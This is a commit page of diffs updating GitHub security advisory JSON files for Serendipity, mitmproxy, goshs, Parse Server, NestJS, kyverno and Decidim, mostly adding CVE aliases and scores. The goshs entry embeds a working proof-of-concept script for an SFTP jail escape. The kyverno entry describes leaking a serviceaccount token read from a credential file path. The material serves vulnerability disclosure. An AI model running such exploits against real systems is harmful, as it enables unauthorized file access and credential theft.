Skip to content

File tree

8 files changed

+41
-15
lines changed

8 files changed

+41
-15
lines changed

advisories/github-reviewed/2026/04/GHSA-4m6c-649p-f6gf/GHSA-4m6c-649p-f6gf.json

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-4m6c-649p-f6gf",
4-
"modified": "2026-04-14T22:32:29Z",
4+
"modified": "2026-04-15T21:14:19Z",
55
"published": "2026-04-14T22:32:29Z",
66
"aliases": [
77
"CVE-2026-39963"
@@ -40,9 +40,17 @@
4040
"type": "WEB",
4141
"url": "https://github.com/s9y/Serendipity/security/advisories/GHSA-4m6c-649p-f6gf"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39963"
46+
},
4347
{
4448
"type": "PACKAGE",
4549
"url": "https://github.com/s9y/Serendipity"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/s9y/Serendipity/releases/tag/2.6.0"
4654
}
4755
],
4856
"database_specific": {
@@ -52,6 +60,6 @@
5260
"severity": "MODERATE",
5361
"github_reviewed": true,
5462
"github_reviewed_at": "2026-04-14T22:32:29Z",
55-
"nvd_published_at": null
63+
"nvd_published_at": "2026-04-15T04:17:39Z"
5664
}
5765
}

advisories/github-reviewed/2026/04/GHSA-527g-3w9m-29hv/GHSA-527g-3w9m-29hv.json

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,12 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-527g-3w9m-29hv",
4-
"modified": "2026-04-14T01:08:52Z",
4+
"modified": "2026-04-15T21:14:34Z",
55
"published": "2026-04-14T01:08:52Z",
6-
"aliases": [],
7-
"summary": "LDAP Injection in mitmproxy",
6+
"aliases": [
7+
"CVE-2026-40606"
8+
],
9+
"summary": "mitmproxy has an LDAP Injection",
810
"details": "### Impact\nIn mitmproxy 12.2.1 and below, the builtin LDAP proxy authentication does not correctly sanitize the username when querying the LDAP server. This allows a malicious client to bypass authentication.\n\nOnly mitmproxy instances using the `proxyauth` option with LDAP are affected. This option is not enabled by default.\n\n### Patches\n\nThe vulnerability has been fixed in mitmproxy 12.2.2 and above.\n\n### Acknowledgements\n\nWe thank Yue (Knox) Liu (@yueyueL) for responsibly disclosing this vulnerability to the mitmproxy team.\n\n### Timeline\n\n- **2025-12-08**: Received initial report. \n- **2025-12-09**: Verified report and confirmed receipt.\n- **2026-01-02**: Informed researcher that patch will be part of the next regular patch release.\n- **2026-04-12**: Published patch release and advisory.",
911
"severity": [
1012
{

advisories/github-reviewed/2026/04/GHSA-5h6h-7rc9-3824/GHSA-5h6h-7rc9-3824.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-5h6h-7rc9-3824",
4-
"modified": "2026-04-14T22:28:17Z",
4+
"modified": "2026-04-15T21:14:50Z",
55
"published": "2026-04-14T22:28:17Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-40876"
8+
],
79
"summary": "SFTP root escape via prefix-based path validation in goshs",
810
"details": "### Summary\ngoshs contains an SFTP root escape caused by prefix-based path validation. An authenticated SFTP user can read from and write to filesystem paths outside the configured SFTP root, which breaks the intended jail boundary and can expose or modify unrelated server files.\n\n### Details\nThe SFTP subsystem routes requests through `sftpserver/sftpserver.go:99-126` into `DefaultHandler.GetHandler()` in `sftpserver/handler.go:90-112`, which forwards file operations into `readFile`, `writeFile`, `listFile`, and `cmdFile`. All of those sinks rely on `sanitizePath()` in `sftpserver/helper.go:47-59`. The vulnerable logic is:\n\n```go\ncleanPath = filepath.Clean(\"/\" + clientPath)\nif !strings.HasPrefix(cleanPath, sftpRoot) {\n return \"\", errors.New(\"access denied: outside of webroot\")\n}\n```\n\nThis is a raw string-prefix comparison, not a directory-boundary check. Because of that, if the configured root is `/tmp/goshsroot`, then a sibling path such as `/tmp/goshsroot_evil/secret.txt` incorrectly passes validation since it starts with the same byte prefix.\n\nThat unsafe value then reaches filesystem sinks including:\n\n- `os.Open` in `sftpserver/helper.go:80-94`\n- `os.Create` in `sftpserver/helper.go:139-152`\n- `os.Rename` in `sftpserver/helper.go:214-221`\n- `os.RemoveAll` in `sftpserver/helper.go:231-232`\n- `os.Mkdir` in `sftpserver/helper.go:242-243`\n\nThis means an authenticated SFTP user can escape the configured jail and read, create, upload, rename, or delete content outside the intended root directory.\n\n### PoC\nThe configured SFTP root was `/tmp/goshsroot`, but the SFTP client was still able to access `/tmp/goshsroot_evil/secret.txt` and create `/tmp/goshsroot_owned/pwned.txt`, both of which are outside the configured root.\n\nManual verification commands used:\n\n`Terminal 1`\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'\ngo build -o /tmp/goshs_beta4 ./\n\nrm -rf /tmp/goshsroot /tmp/goshsroot_evil /tmp/goshsroot_owned /tmp/outside_sftp.txt /tmp/local_upload.txt /tmp/goshs_beta4_client_key\nmkdir -p /tmp/goshsroot /tmp/goshsroot_evil\nprintf 'outside secret\\n' > /tmp/goshsroot_evil/secret.txt\nprintf 'proof via sftp write\\n' > /tmp/local_upload.txt\ncp sftpserver/goshs_client_key /tmp/goshs_beta4_client_key\nchmod 600 /tmp/goshs_beta4_client_key\n\n/tmp/goshs_beta4 -sftp -d /tmp/goshsroot --sftp-port 2222 \\\n --sftp-keyfile sftpserver/authorized_keys \\\n --sftp-host-keyfile sftpserver/goshs_host_key_rsa\n```\n\n`Terminal 2`\n\n```bash\nprintf 'ls /tmp/goshsroot_evil\\nget /tmp/goshsroot_evil/secret.txt /tmp/outside_sftp.txt\\nmkdir /tmp/goshsroot_owned\\nbye\\n' | \\\nsftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1\n\nprintf 'put /tmp/local_upload.txt /tmp/goshsroot_owned/pwned.txt\\nbye\\n' | \\\nsftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1\n\ncat /tmp/outside_sftp.txt\ncat /tmp/goshsroot_owned/pwned.txt\n```\n\nExpected result:\n\n- `ls /tmp/goshsroot_evil` succeeds even though that path is outside `/tmp/goshsroot`\n- `cat /tmp/outside_sftp.txt` prints `outside secret`\n- `cat /tmp/goshsroot_owned/pwned.txt` prints `proof via sftp write`\n\nPoC Video 1:\n\nhttps://github.com/user-attachments/assets/d2c96301-afc8-4ddc-b008-74b235f94e31\n\n\n\nSingle-script verification:\n\n```bash\n'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc1'\n```\n\n`gosh_poc1` script content:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'\nBIN='/tmp/goshs_beta4_sftp_escape'\nROOT='/tmp/goshsroot'\nOUTSIDE='/tmp/goshsroot_evil'\nOWNED='/tmp/goshsroot_owned'\nCLIENT_KEY='/tmp/goshs_beta4_client_key'\nDOWNLOAD='/tmp/outside_sftp.txt'\nUPLOAD_SRC='/tmp/local_upload.txt'\nPORT='2222'\nSERVER_PID=\"\"\n\ncleanup() {\n if [[ -n \"${SERVER_PID:-}\" ]]; then\n kill \"${SERVER_PID}\" >/dev/null 2>&1 || true\n wait \"${SERVER_PID}\" 2>/dev/null || true\n fi\n}\ntrap cleanup EXIT\n\necho '[1/6] Building goshs beta.4'\ncd \"${REPO}\"\ngo build -o \"${BIN}\" ./\n\necho '[2/6] Preparing root and sibling paths'\nrm -rf \"${ROOT}\" \"${OUTSIDE}\" \"${OWNED}\" \"${DOWNLOAD}\" \"${UPLOAD_SRC}\" \"${CLIENT_KEY}\"\nmkdir -p \"${ROOT}\" \"${OUTSIDE}\"\nprintf 'outside secret\\n' > \"${OUTSIDE}/secret.txt\"\nprintf 'proof via sftp write\\n' > \"${UPLOAD_SRC}\"\ncp \"${REPO}/sftpserver/goshs_client_key\" \"${CLIENT_KEY}\"\nchmod 600 \"${CLIENT_KEY}\"\n\necho '[3/6] Starting SFTP server'\n\"${BIN}\" -sftp -d \"${ROOT}\" --sftp-port \"${PORT}\" \\\n --sftp-keyfile \"${REPO}/sftpserver/authorized_keys\" \\\n --sftp-host-keyfile \"${REPO}/sftpserver/goshs_host_key_rsa\" \\\n >/tmp/gosh_poc1.log 2>&1 &\nSERVER_PID=$!\n\nfor _ in $(seq 1 20); do\n if python3 - <<PY\nimport socket\ns = socket.socket()\ntry:\n s.connect((\"127.0.0.1\", ${PORT}))\n raise SystemExit(0)\nexcept OSError:\n raise SystemExit(1)\nfinally:\n s.close()\nPY\n then\n break\n fi\n sleep 1\ndone\n\necho '[4/6] Listing and downloading path outside configured root'\nprintf 'ls /tmp/goshsroot_evil\\nget /tmp/goshsroot_evil/secret.txt /tmp/outside_sftp.txt\\nmkdir /tmp/goshsroot_owned\\nbye\\n' | \\\n sftp -i \"${CLIENT_KEY}\" -P \"${PORT}\" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1\n\necho '[5/6] Writing a new file outside configured root'\nprintf 'put /tmp/local_upload.txt /tmp/goshsroot_owned/pwned.txt\\nbye\\n' | \\\n sftp -i \"${CLIENT_KEY}\" -P \"${PORT}\" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1\n\necho '[6/6] Verifying outside-root read and write'\necho \"Downloaded content: $(cat \"${DOWNLOAD}\")\"\necho \"Written content: $(cat \"${OWNED}/pwned.txt\")\"\n\nif [[ \"$(cat \"${DOWNLOAD}\")\" == 'outside secret' ]] && [[ \"$(cat \"${OWNED}/pwned.txt\")\" == 'proof via sftp write' ]]; then\n echo '[RESULT] VULNERABLE: authenticated SFTP user escaped the configured root'\nelse\n echo '[RESULT] NOT REPRODUCED'\n exit 1\nfi\n```\n\nPoC Video 2:\n\nhttps://github.com/user-attachments/assets/25e7a4d7-6ec7-40a6-b3d4-d66df3ea3e5f\n\n\n\n### Impact\nThis is a path traversal / jail escape in the SFTP service. Any authenticated SFTP user can break out of the configured root and access sibling filesystem paths that were never meant to be exposed through goshs. In practice this can lead to unauthorized file disclosure, arbitrary file upload outside the shared root, unwanted directory creation, overwrite of sensitive files, or data deletion depending on the reachable path and server permissions.\n\n### Remediation\nSuggested fixes:\n\n1. Replace the raw prefix check with a real directory-boundary validation such as requiring either exact root equality or `root + path separator` as the prefix.\n2. Reuse the hardened HTTP-style path sanitizer across SFTP as well, so all file-serving modes share the same boundary logic.\n3. Add regression tests for sibling-prefix cases like `/tmp/goshsroot_evil`, not only `..` traversal payloads.",
911
"severity": [

advisories/github-reviewed/2026/04/GHSA-g4v2-qx3q-4p64/GHSA-g4v2-qx3q-4p64.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-g4v2-qx3q-4p64",
4-
"modified": "2026-04-08T00:14:50Z",
4+
"modified": "2026-04-15T21:17:24Z",
55
"published": "2026-04-08T00:14:50Z",
66
"aliases": [
77
"CVE-2026-39381"
88
],
99
"summary": "Parse Server's Endpoint `/sessions/me` bypasses `_Session` `protectedFields`",
1010
"details": "### Impact\n\nThe `GET /sessions/me` endpoint returns `_Session` fields that the server operator explicitly configured as protected via the `protectedFields` server option. Any authenticated user can retrieve their own session's protected fields with a single request. The equivalent `GET /sessions` and `GET /sessions/:objectId` endpoints correctly strip protected fields.\n\n### Patches\n\nThe `GET /sessions/me` handler now re-fetches the session with the caller's auth context after validating the session token, ensuring `protectedFields` and CLP apply consistently with other session endpoints.\n\n### Workarounds\n\nNone.\n\n### References\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-g4v2-qx3q-4p64\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/pull/10406\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/pull/10407",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"

advisories/github-reviewed/2026/04/GHSA-hpwf-8g29-85qm/GHSA-hpwf-8g29-85qm.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-hpwf-8g29-85qm",
4-
"modified": "2026-04-14T00:15:09Z",
4+
"modified": "2026-04-15T21:14:54Z",
55
"published": "2026-04-14T00:15:09Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-40879"
8+
],
79
"summary": "Nest Affected by DoS via Recursive handleData in JsonSocket (TCP Transport)",
810
"details": "### Impact\nAttacker sends many small, valid JSON messages in one TCP frame\n → handleData() recurses once per message; buffer shrinks each call\n → maxBufferSize is never reached; call stack overflows instead\n → A ~47 KB payload is sufficient to trigger RangeError\n\n### Patches\n\nFixed in `@nestjs/microservices@11.1.19`\n\n### References\n\nDiscovered by https://github.com/hwpark6804-gif",
911
"severity": [

advisories/github-reviewed/2026/04/GHSA-mmpq-5hcv-hf2v/GHSA-mmpq-5hcv-hf2v.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-mmpq-5hcv-hf2v",
4-
"modified": "2026-04-08T00:07:10Z",
4+
"modified": "2026-04-15T21:17:16Z",
55
"published": "2026-04-08T00:07:10Z",
66
"aliases": [
77
"CVE-2026-39321"
88
],
99
"summary": "Parse Server has a login timing side-channel reveals user existence",
1010
"details": "### Impact\n\nThe login endpoint response time differs measurably depending on whether the submitted username or email exists in the database. When a user is not found, the server responds immediately. When a user exists but the password is wrong, a bcrypt comparison runs first, adding significant latency. This timing difference allows an unauthenticated attacker to enumerate valid usernames.\n\n### Patches\n\nA dummy bcrypt comparison is now performed when no user is found, normalizing response timing regardless of user existence. Additionally, accounts without a stored password (e.g. OAuth-only) now also run a dummy comparison to prevent the same timing oracle.\n\n### Workarounds\n\nConfigure rate limiting on the login endpoint to slow automated enumeration. This reduces throughput but does not eliminate the timing signal for individual requests.",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"

advisories/github-reviewed/2026/04/GHSA-q93q-v844-jrqp/GHSA-q93q-v844-jrqp.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-q93q-v844-jrqp",
4-
"modified": "2026-04-14T20:09:00Z",
4+
"modified": "2026-04-15T21:14:38Z",
55
"published": "2026-04-14T20:09:00Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-40868"
8+
],
79
"summary": "kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token",
810
"details": "kyverno’s apiCall servicecall helper implicitly injects `Authorization: Bearer ...` using the kyverno controller serviceaccount token when a policy does not explicitly set an Authorization header. because `context.apiCall.service.url` is policy-controlled, this can send the kyverno serviceaccount token to an attacker-controlled endpoint (confused deputy).\n\nnamespaced policies are blocked from servicecall usage by the namespaced `urlPath` gate in `pkg/engine/apicall/apiCall.go`, so this report is scoped to ClusterPolicy and global context usage.\n\n## attacker model\n\nthe attacker can create or update a ClusterPolicy (or create a GlobalContextEntry) which uses `context.apiCall.service.url` and can choose the request URL and headers. a cross-boundary framing for real deployments is gitops: if the policy repo/controller is compromised, the ClusterPolicy/global context entry becomes untrusted input to kyverno.\n\n## relevant links\n\n- repository: https://github.com/kyverno/kyverno\n- commit: 17aeb52337fd66adb0c8126213ba076612a287a7\n- callsite (token injection): https://github.com/kyverno/kyverno/blob/17aeb52337fd66adb0c8126213ba076612a287a7/pkg/engine/apicall/executor.go#L150-L173\n- namespaced policy gate (servicecall blocked): https://github.com/kyverno/kyverno/blob/17aeb52337fd66adb0c8126213ba076612a287a7/pkg/engine/apicall/apiCall.go#L67-L83\n\n## root cause\n\nin `(*executor).addHTTPHeaders`, kyverno reads the serviceaccount token from `/var/run/secrets/kubernetes.io/serviceaccount/token` and injects it when the outgoing request has no Authorization header:\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n token := a.getToken()\n if token != \"\" {\n req.Header.Add(\"Authorization\", \"Bearer \"+token)\n }\n}\n```\n\n## proof of concept\n\nthe attached `poc.zip` is a reproducible cluster PoC. it uses an in-cluster HTTP receiver which logs the Authorization header it receives. the PoC does not print token bytes; it only checks that the received header is non-empty and not equal to the negative control.\n\nrun (one command):\n\n```bash\nunzip poc.zip -d poc\ncd poc\nmake test\n```\n\ncanonical (expected: implicit token injection):\n\n```bash\nunzip poc.zip -d poc\ncd poc\nmake canonical\n```\n\nexpected output includes:\n\n```\n[CALLSITE_HIT]: executor.addHTTPHeaders Authorization==\"\" -> read_serviceaccount_token=true\n[PROOF_MARKER]: authorization_header_injected=true token_nonempty=true\n```\n\ncontrol (expected: explicit Authorization header disables auto-injection):\n\n```bash\nunzip poc.zip -d poc\ncd poc\nmake control\n```\n\nexpected output includes:\n\n```\n[CALLSITE_HIT]: executor.addHTTPHeaders Authorization!=\"\" -> autoinject_skipped=true\n[NC_MARKER]: authorization_header_injected=false\n```\n\noptional: the canonical run may also print an `[RBAC]: ...` line using `kubectl auth can-i` with the exfiltrated token, to show concrete privileges without exposing the token.\n\n## impact\n\ntoken exfiltration: the kyverno controller serviceaccount token is sent to a policy-controlled endpoint. impact depends on the rbac bound to that serviceaccount in the target deployment.\n\n## recommended fix\n\ndo not auto-inject the kyverno serviceaccount token into policy-controlled servicecall requests. require explicit Authorization configuration, or enforce a strict allowlist of destinations where credentials may be attached and document the behavior.\n\n## workarounds\n\n- avoid using servicecall to arbitrary urls in policies.\n- set an explicit Authorization header in servicecall policies to prevent implicit token injection.\n\n\n[poc.zip](https://github.com/user-attachments/files/25352288/poc.zip)\n[PR_DESCRIPTION.md](https://github.com/user-attachments/files/25352289/PR_DESCRIPTION.md)\n\noleh",
911
"severity": [

advisories/github-reviewed/2026/04/GHSA-w5xj-99cg-rccm/GHSA-w5xj-99cg-rccm.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-w5xj-99cg-rccm",
4-
"modified": "2026-04-14T22:22:58Z",
4+
"modified": "2026-04-15T21:14:42Z",
55
"published": "2026-04-14T22:22:58Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-40869"
8+
],
79
"summary": "Decidim amendments can be accepted or rejected by anyone",
810
"details": "### Impact\nThe vulnerability allows any registered and authenticated user to accept or reject any amendments. The impact is on any users who have created proposals where the amendments feature is enabled. This also elevates the user accepting the amendment as the author of the original proposal as people amending proposals are provided coauthorship on the coauthorable resources.\n\nThe only check done when accepting or rejecting amendments is whether the amendment reactions are enabled for the component:\nhttps://github.com/decidim/decidim/blob/9d6c3d2efe5a83bb02e095824ff5998d96a75eb7/decidim-core/app/permissions/decidim/permissions.rb#L107\n\nThe permission checks have been changed at 1b99136 which was introduced in released version 0.19.0. I have not investigated whether prior versions are also affected.\n\n### Patches\n\nNot available\n\n### Workarounds\nDisable amendment reactions for the amendable component (e.g. proposals).",
911
"severity": [

0 commit comments

Comments
 (0)